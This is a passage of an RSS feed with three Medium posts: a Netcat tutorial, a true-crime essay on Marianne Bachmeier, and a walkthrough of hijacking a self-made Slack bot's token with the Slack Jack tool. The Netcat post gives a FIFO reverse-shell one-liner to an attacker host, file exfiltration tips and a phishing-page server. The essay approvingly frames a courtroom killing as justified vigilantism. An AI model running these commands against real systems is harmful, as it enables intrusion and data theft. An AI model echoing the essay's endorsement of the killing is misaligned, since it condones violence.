            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Indranil Roy]]></dc:creator>
            <pubDate>Fri, 10 Apr 2026 09:48:00 GMT</pubDate>
            <atom:updated>2026-04-12T01:17:58.461Z</atom:updated>
            <content:encoded><![CDATA[<p>From Port Scanning to Persistent Reverse Shells</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jUCfUoFSTKyi1MUh" /><figcaption>credits: pentestguy.com</figcaption></figure><p>If you’ve spent more than five minutes in the pen-testing world, you’ve heard of Netcat (nc). People call it the “Swiss Army Knife” of networking so often it’s become a cliché, but there’s a reason for that. While the industry keeps trying to sell you shiny, multi-gigabyte “security suites” with fancy dashboards, Netcat is out here living in your terminal — lean, mean, and capable of tearing through a network like a hot knife through butter.</p><p>Netcat isn’t just a tool; it’s a mindset. It’s for the engineer who knows that at the end of the day, everything on the internet is just a stream of bytes. If you can control that stream, you own the pipe.</p><h3>Why Netcat Still Rules the Trenches?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*ZCScSK6JdlkBjTaa.gif" /><figcaption>credits — <a href="https://giphy.com/">https://giphy.com</a></figcaption></figure><p>Why do I reach for nc when there are a dozen modern alternatives? Because Netcat doesn’t care about your “user experience.” It cares about raw connectivity. In a world of bloated software, Netcat is a minimalist’s dream.</p><p><strong>The Tactical Advantage:</strong></p><ul><li><em>Zero Overhead:</em> It’s almost always there. If you’ve landed on a Linux box, nc is likely pre-installed. No dependencies, no installers, no fluff.</li><li><em>Protocol Agnostic:</em> TCP? UDP? IPv4? IPv6? Netcat handles them all without breaking a sweat.</li><li><em>Invisible Power: </em>It can act as a client or a server. It can be a bridge, a tunnel, or a backdoor.</li></ul><p><strong>The Core Capability Map:</strong><br>Before we get into the “How-To,” you need to understand the “What.” Here is the tactical breakdown of what this tool actually does when the gloves come off:</p><p><em>1. The Ultimate Port Scanner</em><br>Forget waiting for Nmap if you just need a quick pulse check. nc -zv can tell you if a port is open faster than you can finish your coffee.</p><p><em>2. File Transfer (The “No-FTP” Solution)</em><br>Need to exfiltrate a file but SCP is blocked? Just set up a listener on your machine and pipe the file from the target. It’s dirty, it’s fast, and it works.</p><p><em>3. The Infamous Reverse Shell</em><br>This is where Netcat becomes a legend. By forcing a target to “phone home” to your listener, you bypass firewalls that are designed to block incoming traffic but ignore the outgoing “chatter.”</p><p><strong>Essential Commands for the Modern Operator:</strong><br>If you’re going to master the revolution, you need these commands hard-coded into your muscle memory.</p><ul><li><strong>Simple Port Scan:</strong> The fast, quiet way to check for open doors without the overhead of a full Nmap scan.</li></ul><pre>nc -zv &lt;target&gt; &lt;port-range&gt;</pre><ul><li><strong>Banner Grabbing:</strong> Forces the server to cough up its headers so you can see exactly what software is hiding behind the curtain.</li></ul><pre>printf &quot;GET / HTTP/1.0\r\n\r\n&quot; | nc -v &lt;target&gt; 80</pre><ul><li>Listen on a Port: Turns your terminal into a waiting trap, ready to catch incoming data or a reverse shell.</li></ul><pre>nc -lvp &lt;port&gt;</pre><ul><li><strong>Receive a File:</strong> <em>Sets up the “receiver” end of the pipe. It sits silently until the data starts flowing.</em></li></ul><pre>nc -lp &lt;port&gt; &gt; file.txt</pre><ul><li><strong>Send a File:</strong> <em>Pushes the data through the pipe. The </em><em>-w 3 flag ensures the connection closes once the job is done.</em></li></ul><pre>nc -w 3 &lt;target-ip&gt; &lt;port&gt; &lt; file.txt</pre><p><strong>Level 2: Wizard-Tier Tactics</strong><br>Ready to look like a pro? Here are the commands that separate the script kiddies from the masters.</p><p><em>The Persistent FIFO Backdoor — </em>Standard reverse shells die when the session ends. A “FIFO” (First-In-First-Out) pipe keeps the connection interactive and stable.</p><pre>rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2&gt;&amp;1 | nc &lt;attacker-ip&gt; &lt;port&gt; &gt; /tmp/f</pre><p><em>The Web Server MacGyver — </em>Need to serve a phishing page or a quick tool without spinning up Apache?</p><pre>while true; do { echo -e ‘HTTP/1.1 200 OK\r\n’; cat index.html; } | nc -l -p 8080; done</pre><p><em>The Ghost Protocol (UDP Scanning) — </em>Don’t ignore UDP just because it’s connectionless.</p><pre>nc -zuv &lt;target-ip&gt; 53</pre><p><strong>A Word of Caution: The Double-Edged Blade</strong><br>Here is the thing about Swiss Army knives: they don’t have a “safety” setting. Netcat sends data in cleartext. If you’re using it to move sensitive data over a public network, you’re basically shouting your secrets across a crowded room.</p><p>In a modern security environment, you need to be aware that nc is often flagged by EDR (Endpoint Detection and Response) / XDR systems. Using it is a loud move. But when you need a raw, unfiltered connection between two points, nothing else comes close.</p><p><strong>The Final Word</strong><br>Mastering Netcat is about understanding the fundamental physics of the internet. It’s the bridge between “I think I have access” and “I have a shell.” Stop looking for the next big tool and start mastering the one that’s been there all along.</p><p>What’s your favorite “dirty” Netcat trick? Drop a comment below — let’s see who’s actually been in the terminal.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94e2a20d3a04" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/the-netcat-revolution-94e2a20d3a04">The Netcat Revolution</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I did it for you, Anna.]]></title>
            <link>https://indranilroy9.medium.com/i-did-it-for-you-anna-f767f3b4941d?source=rss-76c76aa53ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/f767f3b4941d</guid>
            <category><![CDATA[true-crime]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[psychology]]></category>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[justice]]></category>
            <dc:creator><![CDATA[Indranil Roy]]></dc:creator>
            <pubDate>Fri, 10 Apr 2026 07:25:21 GMT</pubDate>
            <atom:updated>2026-04-12T01:17:56.478Z</atom:updated>
            <content:encoded><![CDATA[<p>Marianne Bachmeier | Mother Of All Queens</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ApB43HXv7gSDTlbI" /></figure><p>Look, I spend most of my time talking about digital perimeters, firewalls, and “defense in depth.” But the story of Marianne Bachmeier? That’s the ultimate analog system failure. It’s what happens when the state’s security manual for its citizens isn’t just outdated it’s fundamentally broken and fails to protect a seven-year-old from a known, repeat offender, the result isn’t a bug report it’s a Beretta 70 in a courtroom</p><p><strong>The Vulnerability: A Systemic Crash</strong><br>Let’s look at the “threat actor” in this scenario- Klaus Grabowski. This wasn’t some random anomaly. He was a convicted sex offender, a “known issue” the system claimed to have resolved. They tried “patches” — chemical castration, hormone therapy and then declared the environment secure.</p><p>They were wrong. On May 5, 1980, Grabowski abducted and murdered seven-year-old Anna Bachmeier. The system didn’t just lag, it failed at its core function – <em>Protection</em>.</p><p><strong>The Exploit: The Mother of All Queens<br></strong>When the trial began, Marianne watched the legal theater unfold. Grabowski’s defense was the typical “unstable mental state” script we’ve seen a thousand times. Marianne realized the “User Experience” of justice was a lie. She realized the system was more interested in the rights of the predator than the reality of the victim.<br>So, she executed a Social Engineering Exploit of the highest order.</p><p><strong>The Smuggle: </strong>She bypassed courtroom security (which relied on “dignity” rather than actual screening).</p><p><strong>The Execution: </strong>On the third day of the trial, she didn’t wait for a verdict. She pulled her weapon and fired eight shots. Six hit home.</p><p>The courtroom skipped a beat. In that moment, the abstract concept of “Due Process” was overridden by a hard-coded command of Retribution.</p><p><strong>Vigilantism is a UI/UX Failure</strong><br>We love to debate the ethics of “eye for an eye,” but here’s my take: Vigilantism is what happens when the “official” version of justice becomes so inaccessible or ineffective that the user decides to write their own script.</p><p>Most people call her a criminal. A subset calls her a hero. I call her the Mother of All Queens because she reclaimed her sovereignty. She looked at a legal system that had failed to protect her daughter and said, “I’ll take it from here.”</p><blockquote>A system that requires its victims to be ‘perfect’ while its predators are ‘understood’ is a system waiting to be owned.</blockquote><p><strong>The Log Files: “I Did It For You, Anna”<br></strong>Marianne didn’t get a “happily ever after.” She got six years for manslaughter and a life lived under the microscope of a polarized nation. She became a folk hero to those who felt abandoned by the law, and a pariah to those who fear the collapse of the rule of law.</p><p>But that phrase — “I did it for you, Anna” — isn’t just a quote. It’s a mission statement. It’s the final line of code in a tragic story.</p><p><strong>The Takeaway</strong><br>In the security world, we say <em>Trust</em>, but <em>Verify.</em> Marianne trusted the system once, it got her daughter killed. She verified the system at trial, it showed her a killer looking for a loophole. So, she revoked the system’s access permanently.</p><p>We shouldn’t have to live in a world where a mother has to become a “Queen” by way of a courtroom execution. But if the institutions we build prioritize protocols over people, we shouldn’t be surprised when the people decide to bypass the protocols.</p><p><strong>Rest in peace, Anna. And Marianne? She reminded us that at the end of the day, security is personal.</strong></p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>The Manual is just a suggestion. </strong>When the world stops making sense, people stop following the rules. Marianne Bachmeier didn’t want to be a legend; she just wanted to be a mother. The system gave her no choice but to be a judge.</p><p>I dig into these stories because the intersection of human nature and system failure is where the real lessons live. If this perspective helped you see a familiar story in a new light, feel free to <a href="https://buymeacoffee.com/indranilr"><strong>buy me a ☕</strong></a>. It keeps the ink wet and the research moving.</p><figure><a href="https://buymeacoffee.com/indranilr"><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WRWsgfDOKjAM27ck.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f767f3b4941d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating and Hacking Slack Bots: A Deep Dive with Slack Jack]]></title>
            <link>https://systemweakness.com/creating-and-hacking-slack-bots-a-deep-dive-with-slack-jack-7df763e7cfdf?source=rss-76c76aa53ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/7df763e7cfdf</guid>
            <category><![CDATA[slack]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[slackbot]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Indranil Roy]]></dc:creator>
            <pubDate>Thu, 30 Jan 2025 06:10:40 GMT</pubDate>
            <atom:updated>2025-01-30T11:03:36.813Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Slack Jack — Slack Bot Token Abuse: Purple Teaming Exercise on Slack</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TC5PdnVLUt8O0v8F" /></figure><p>Slack Jack is a tool for ethical hacking and security testing. It lets you hijack a Slack bot using its token (e.g., xoxb or xoxp) and perform various activities based on the bot’s permissions.</p><p>So today, we will be testing Slack Jack against Slack. This tool is designed for ethical hacking and security testing, enabling us to hijack a Slack bot using its token and explore the various activities we can perform based on the bot’s permissions.</p><p>Alright, without further ado, let’s get started with creating our own Slack bot for testing Slack Jack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/0*lVMweVJ1KNx25HCT.gif" /></figure><p><strong>Create a Slack bot token with appropriate permissions.</strong></p><p>To obtain a Slack bot token with appropriate permissions, follow these steps:</p><ol><li>Go to the Slack API Apps page.- <a href="https://api.slack.com/apps">https://api.slack.com/apps</a></li><li>Sign in to your workspace</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7k0rsoAkkxBHdHEX" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9lktiEWtEKt2bCBQ" /></figure><p>3. Click on the “<strong>Create an App</strong>” button, select the option “<strong>from scratch</strong>” and follow the prompts to set up your app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*azJ6PmfhWLGQqPcr" /></figure><p>4. Specify the <strong>app name</strong> and the <strong>organization</strong> where you want to build the app. Click on <strong>create app</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OPOLFG1sH9BsHbq5" /></figure><p>5. After the apps is created, you will land on the apps’s configuration page, where all the basic information and other settings will be displayed.</p><p><strong>*Note: the sensitive keys/credentials are rotated so don’t be happy if you spot one already.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RgITc-gi9f8ikofe" /></figure><p>You can also add description and app icon. Make sure you click on save changes after adding the details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YsXixjXS8M_T24vU" /></figure><p>6. Configure Scopes and Permissions:</p><ul><li>Navigate to the “OAuth &amp; Permissions” tab.</li><li>Under “Scopes,” add the necessary bot token scopes your bot will need. For example:</li></ul><blockquote>channels:read — to read channel information<br>chat:write — to send messages as the bot<br>Users:read — to read user information<br>Groups:read — to read groups details<br>Groups:write -to write in different groups</blockquote><p>You can add more scopes depending on what your bot needs to do.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*--RdPcQyX6m56kLP" /></figure><p>7. Install Your App to Your Workspace:</p><ul><li>Scroll to the top of the “OAuth &amp; Permissions” page and click on the “<strong>Install App to Workspace</strong>” button.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vCoxBs8T3QdtmTZy" /></figure><ul><li>Follow the prompts to authorize your app with the selected scopes.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oXC1MxJUmEgp4c3H" /></figure><p>8. Retrieve Your Bot Token:</p><ul><li>After installation, you’ll see a “Bot User OAuth Access Token” under the “OAuth Tokens for Your Workspace” section.</li><li>Copy this token and store it securely. This is your Slack bot token.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eQ33UhCBAT7riuJw" /></figure><h4><strong>Exploitation-</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/0*KhV8rHt1s0L2g83n" /></figure><ol><li>Clone the repo using the below command.</li></ol><blockquote>git clone <a href="https://github.com/adelapazborrero/slack_jack.git">https://github.com/adelapazborrero/slack_jack.git</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JIBERXo6hWqxDQHe" /></figure><p>2. Navigate to the repo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IyJy77jxh9EGj5qF" /></figure><p>3. Install required Go dependencies and build the tool using the respective commands — <strong>go mod tidy , go build -o slackjack</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/0*6NLUq21lESHO_n7w" /></figure><p>4. Run the tool using the command — <strong>./slackjack –help</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/0*8446OYbNZ26gb9D1" /></figure><p>5. Enter the slack bot token to extract details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AZiQWHciEFdFDudy" /></figure><p>6. Voila! We now have access to the Slack workspace. Feel free to explore the various options in the tool. For instance, if you want to see the channel list, simply select option 1 to retrieve it.</p><p>Tool Credit <strong>— </strong><a href="https://github.com/adelapazborrero/slack_jack">https://github.com/adelapazborrero/slack_jack</a></p><p>Thank you for taking the time to read this post. I hope you found it helpful. Stay tuned for more insights in our next encounter. Until next time, stay secure and stay curious!</p><figure><a href="https://www.buymeacoffee.com/indranilr"><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0J_Tl9OV7bf-fMc9.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7df763e7cfdf" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/creating-and-hacking-slack-bots-a-deep-dive-with-slack-jack-7df763e7cfdf">Creating and Hacking Slack Bots: A Deep Dive with Slack Jack</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>